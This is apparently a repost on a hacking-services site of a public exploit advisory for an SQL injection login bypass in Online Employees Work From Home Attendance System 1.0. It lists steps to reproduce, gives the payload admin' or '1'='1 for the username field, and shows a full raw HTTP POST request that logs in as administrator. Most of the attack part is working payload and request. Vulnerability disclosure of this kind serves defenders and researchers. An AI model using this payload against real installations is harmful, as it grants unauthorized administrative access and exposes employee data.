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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Online Employees Work From Home Attendance System 1.0 - SQLi Authentication Bypass
# Date: 08.10.2021
# Exploit Author: Merve Oral
# Vendor Homepage: https://www.sourcecodester.com/php/14981/online-employees-work-home-attendance-system-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14981&title=Online+Employees+Work+From+Home+Attendance+System+in+PHP+and+SQLite+Free+Source+Code
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Online Employees Work From Home Attendance System/Logs in a Web App v1.0 Login page can be bypassed with a simple SQLi to the username parameter.

Steps To Reproduce:
1 - Go to the login page http://localhost/audit_trail/login.php
2 - Enter the payload to username field as "admin' or '1'='1" without double-quotes and type anything to password field.
3 - Click on "Login" button and you are logged in as administrator.

PoC

POST /wfh_attendance/Actions.php?a=login HTTP/1.1
Host: merve
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 40
Origin: http://merve
Connection: close
Referer: http://merve/wfh_attendance/admin/login.php
Cookie: PHPSESSID=55nnlgv0kg2qaki92o2s9vl5rq

username=admin'+or+'1'%3D'1&password=any